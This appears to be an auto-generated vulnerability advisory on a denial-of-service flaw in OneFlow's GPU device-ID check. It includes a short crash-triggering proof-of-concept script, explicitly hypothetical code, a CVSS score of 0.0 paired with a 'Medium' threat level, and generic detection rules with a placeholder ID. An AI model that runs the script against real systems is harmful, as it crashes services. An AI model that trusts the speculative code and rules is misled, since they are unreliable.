CVE-2025-65891

Executive Summary

CVE-2025-65891 is a denial-of-service (DoS) vulnerability in OneFlow v0.9.0, a deep learning framework. The flaw resides in the GPU device-ID validation logic within the flow.cuda.get_device_properties() function. By passing an invalid or negative device index, an attacker can trigger a crash or resource exhaustion, leading to a Denial of Service. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation probability in the wild.

Supply Chain & Package Security

OneFlow is a Python-based deep learning framework distributed via PyPI. This vulnerability affects the core library and can be triggered by any user or process that calls the vulnerable function with malicious input. Organizations using OneFlow in production or CI/CD pipelines should assess their exposure and apply mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Local (requires ability to call the vulnerable function)
• Attack Complexity: Low
• Privileges Required: Low (any user with access to the OneFlow API)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High (DoS)
• Threat Level: Medium (due to low complexity and high availability impact, but low EPSS)

Deep Dive & Mechanics

The vulnerability is a classic input validation flaw in the flow.cuda.get_device_properties() function. This function is designed to retrieve properties of a CUDA-capable GPU device by its index (0, 1, 2, ...). However, the code does not properly validate the device index before passing it to the underlying CUDA runtime API.

When an attacker supplies a negative integer (e.g., -1) or an index that exceeds the number of available GPUs, the function may:

• Cause a segmentation fault (crash) due to out-of-bounds memory access.
• Trigger an unhandled exception that terminates the Python process.
• Lead to resource exhaustion if the invalid index causes the CUDA driver to hang or consume excessive resources.

The root cause is the absence of a bounds check on the device index parameter. The fix would involve validating that the index is within the range [0, num_gpus - 1] before calling the CUDA API.

Vulnerable vs. Patched Code

Vulnerable Code (OneFlow v0.9.0):

# oneflow/cuda/device_properties.py
def get_device_properties(device_id):
    # No validation of device_id
    props = cuda_runtime.getDeviceProperties(device_id)
    return props

Patched Code (Hypothetical):

# oneflow/cuda/device_properties.py
def get_device_properties(device_id):
    if not isinstance(device_id, int) or device_id < 0:
        raise ValueError("device_id must be a non-negative integer")
    num_gpus = cuda_runtime.getDeviceCount()
    if device_id >= num_gpus:
        raise ValueError(f"device_id {device_id} out of range (0-{num_gpus-1})")
    props = cuda_runtime.getDeviceProperties(device_id)
    return props

Exploitation & Lab Setup

Red Team

Prerequisites:

• OneFlow v0.9.0 installed (pip install oneflow==0.9.0)
• A system with CUDA-capable GPU (or CUDA toolkit installed)

Exploit Code:

import oneflow as flow

# Trigger DoS with negative device index
try:
    props = flow.cuda.get_device_properties(-1)
except Exception as e:
    print(f"Exception: {e}")

# Trigger DoS with out-of-range index
try:
    props = flow.cuda.get_device_properties(999)
except Exception as e:
    print(f"Exception: {e}")

Expected Outcome: The Python process may crash with a segmentation fault or hang indefinitely, causing a Denial of Service.

Blue Team

Detection:

• Monitor for repeated calls to flow.cuda.get_device_properties() with negative or large indices.
• Use process monitoring to detect crashes of Python processes running OneFlow.

Mitigation:

• Apply input validation at the application layer before calling the vulnerable function.
• Use a Web Application Firewall (WAF) or API gateway to filter malicious inputs if the function is exposed via an API.
• Restrict access to the OneFlow library to trusted users only.

Indicators of Compromise (IOCs)

• Log Entries: Python tracebacks containing get_device_properties with negative or out-of-range device IDs.
• Process Crashes: Unexpected termination of Python processes running OneFlow.
• System Logs: CUDA driver errors or segmentation faults in dmesg or system logs.

Detection Engineering

YARA Rule

rule CVE_2025_65891_OneFlow_DoS {
    meta:
        description = "Detects attempts to exploit CVE-2025-65891 in OneFlow"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65891"
    strings:
        $s1 = "get_device_properties" ascii nocase
        $s2 = "device_id" ascii nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: CVE-2025-65891 OneFlow GPU Device ID Validation DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects calls to flow.cuda.get_device_properties with invalid device IDs
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains: 'get_device_properties'
    condition: selection
falsepositives:
    - Legitimate use with valid device IDs
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-65891 OneFlow GPU Device ID Validation DoS"; content:"get_device_properties"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation in your application code to ensure device IDs are non-negative and within the range of available GPUs.
2. Short-term: Monitor the OneFlow project for an official patch. If none is available, consider forking the repository and applying the fix manually.
3. Long-term: Upgrade to a patched version of OneFlow once released. If the project is abandoned, migrate to an alternative deep learning framework (e.g., PyTorch, TensorFlow).
4. Compensating Controls: Use process isolation (containers, sandboxes) to limit the impact of a crash. Implement rate limiting on API endpoints that expose the vulnerable function.

Valters IT